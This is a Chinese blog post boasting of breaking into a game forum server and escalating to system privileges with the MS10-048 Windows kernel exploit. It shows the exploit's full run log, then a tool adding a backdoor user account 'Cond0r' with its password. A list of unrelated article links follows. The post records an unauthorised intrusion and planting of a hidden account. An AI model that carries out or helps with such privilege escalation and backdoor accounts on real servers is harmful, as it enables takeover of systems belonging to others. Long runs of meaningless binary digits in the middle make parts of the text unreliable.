MS10048依旧是Windows 2003 x86 的杀器
今天搞了个wow的游戏论坛，服务器环境是win03 x86+iis6.0+php+mysql。
提权的时候各种无奈，mysql无权限，而且没root，试了几个别的方法都不行，实在没办法的时候，用MS10048试了下，成功了。
Dojibiron by Ronald Huizer, (c) master#h4cker.us [ ] Trying to allocate a page at NULL.
[+] Allocated page at 0x0000000000000000 for 0x0000000000000001
[ ] Bootstrapping kernel resolver.
Module ntoskrnl.exe at 0x0000000000BD0000
Base of driver: 0xFFFFF80001000000
[+] Success.
[ ] Resolving PsReferencePrimaryToken
[+] Success: 0xFFFFF8000129FE50
[ ] Resolving PsInitialSystemProcess
[+] Success: 0xFFFFF800011D1FB0
[ ] Resolving PsLookupProcessByProcessId
[+] Success: 0xFFFFF80001288BC0
[ ] Resolving PsDereferencePrimaryToken
[+] Success: 0xFFFFF80001311B40
[+] Handle table retrieval succeeded.
Userspace handle table: 0x00000000006B0000
Kernelspace handle table: 0xFFFFF97FF7990000
Handle table entries: 1024
[ ] Allocating fake HEAD page.
[+] Allocated page at 0x0000000004000000 for 0x00000000040001FF
[ ] Setting up CBT filter hook.
[+] Success.
[ ] Creating evil window
[+] Success.
[ ] Destroyed handle at: 0xFFFFF97FF7990FC0
pHead: 0xFFFFF97FF906BA00
pOwner: 0xFFFFFA80000E8D80
bType: 0x01 - TYPE_WINDOW
bFlags: 0x00 -
wUniq: 0x0004
[ ] Trigger handle at: 0xFFFFF97FF7995AC0
pHead: 0xFFFFF97FF90900A0
pOwner: 0xFFFFFA80000E8D80
bType: 0x01 - TYPE_WINDOW
bFlags: 0x00 -
wUniq: 0x0003
[ ] Writing pool addr to: 0xFFFFF97FF7990F7F ~ MS10_048 X64 EXP ~ Need a girl to love QQ 65665651 email master#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
QQ 65665651 email master#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
aster#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
01010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
0101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
1001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
00000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
0101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
10101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
1001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
11111111110101010101111010101110101010101010101010101010111100000000000110
110101010101010101010101010111100000000000110
111100000000000110
0000110
[ ] Checking the success flag.
[+] Set to 2 exploit half succeeded
[ ] Destroying trigger window
pHead: 0x00000000000003CA
pOwner: 0x0000000000000000
bType: 0x00 - TYPE_FREE
bFlags: 0x00 -
wUniq: 0x0004
[ ] Spawning half a shell...
Command: D:\RECYCLER\add.exe
[+] Enjoy!
========================================== Api Add User Made By Cond0r 2011.3.20
Adduser.exe UserName PassWord Group
==========================================
User List: --> 7ksf
--> ASPNET
--> Guestasdfa
--> IUSR_NJXW-12-5-2
--> IWAM_NJXW-12-5-2
--> SUPPORT_388945a0 Group List: --> Administrators
--> Backup Operators
--> Distributed COM Users
--> Guests
--> Network Configuration Operators
--> Performance Log Users
--> Performance Monitor Users
--> Power Users
--> Print Operators
--> Remote Desktop Users
--> Replicator
--> Users
--> HelpServicesGroup
--> IIS_WPG
--> TelnetClients SuccessFul !!User "Cond0r" Pass "123!@#asdASD" Add User SuccessFul !! 利用api加用户工具，成功添加cond0r密码为123!@#asdASD的账户
MS10048依旧是Windows 2003 x86 的杀器的更多相关文章
- Windows 2003 FastCgi安装环境
Windows 2003 IIS+PHP5.4.3 安装教程 一.准备相关组件 安装前,先安装IIS. 1.安装FastCgi for IIS6 Fastcgi官方网址是:http://www.iis ...
- Windows 2003上 SaltStack/Salt 和 psutil 可能存在的问题及解决
今天把salt安装在windows 2003上,发现无法启动,随之而来的是一个有一个的坑,让我们一起逐个排查. 问题一(salt无法启动) salt无法启动,错误结果如图:
- Windows 2003】利用域&&组策略自动部署软件
Windows 2003]利用域&&组策略自动部署软件 转自 http://hi.baidu.com/qu6zhi/item/4c0fa100dc768613cc34ead0 ==== ...
- 使用docker-compose 大杀器来部署服务 上
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- Windows 2003 Server 标准版启动问题解决（资源转贴）
维护的系统之一是部署在windows2003 Server标准版的服务器上,可能是由于某个应用问题,导致远程重启失败,害得我在机房呆了一早晨,可算是够折腾的.最后按照官方文档解决,刚放文档地址是:ht ...
- 使用docker-compose 大杀器来部署服务 上（转）
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- 利用pentestbox打造ms17-010移动"杀器"
本文首发Freebuf,属原创奖励计划,未经许可禁止转载. 链接:http://www.freebuf.com/articles/system/132274.html 一. 前言 前段时间Shadow ...
- [转]使用docker-compose 大杀器来部署服务 上
本文转自:https://www.cnblogs.com/neptunemoon/p/6512121.html 使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker ...
- 使用docker-compose 大杀器来部署服务
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
随机推荐
- Java for LeetCode 065 Valid Number
Validate if a given string is numeric. Some examples: "0" => true " 0.1 " =&g ...
- 【回溯】n皇后问题
问题 U: [回溯]n皇后问题 时间限制: 1 Sec 内存限制: 128 MB提交: 4 解决: 4[提交][状态][讨论版] 题目描述 在一个国际象棋棋盘上,放置n个皇后(n<10),使 ...
- ubuntu命令行相关命令使用心得
一.Ubuntu解压缩zip,tar,tar.gz,tar.bz2 ZIP zip可能是目前使用得最多的文档压缩格式.它最大的优点就是在不同的操作系统平台,比如Linux, Windows以及Mac ...
- Cocos2d-JS场景树
场景树概念(Scene Graph) 场景树是Cocos2d-JS中用来管理场景中所有元素的一个数据结构,场景树之所以被称为一棵树是因为它将一个场景的所有子结点以树状图的形式组织在一起. Cocos2 ...
- BaseColumns以及自定义Column
android provider 包下自带的BaseColumn /* * Copyright (C) 2006 The Android Open Source Project * * License ...
- cenos配置
#修复ifconfig1.查看 /sbin/ifconfig是否存在 echo $PATH2.查看ifconfig命令是否存在ls /sbin |grep ifconfig如果ifconfig命令存在 ...
- /etc/profile和$HOME/.bash_profile
Linux中含有两个重要的文件 /etc/profile和$HOME/.bash_profile 每当系统登陆时都要读取这两个文件,用来初始化系统所用到的变量,其中/etc/profile是超级用户所 ...
- Mysql or Mongodb LBS快速实现方案
http://www.wubiao.info/470 前两篇文章: 查找附近的xxx 球面距离以及Geohash方案探讨 (http://www.wubiao.info/372) 微信.陌陌 架构方案 ...
- 烟大 Contest1024 - 《挑战编程》第一章：入门 Problem C: The Trip（水题）
Problem C: The Trip Time Limit: 1 Sec Memory Limit: 64 MBSubmit: 19 Solved: 3[Submit][Status][Web ...
- 手机响应式wap网页最佳方案
wap页面怎么做? 这个问题困扰了我好久,在PC上我们惯用的px单位在手机上根本不适用,即使我们写了<meta name="viewport" content="w ...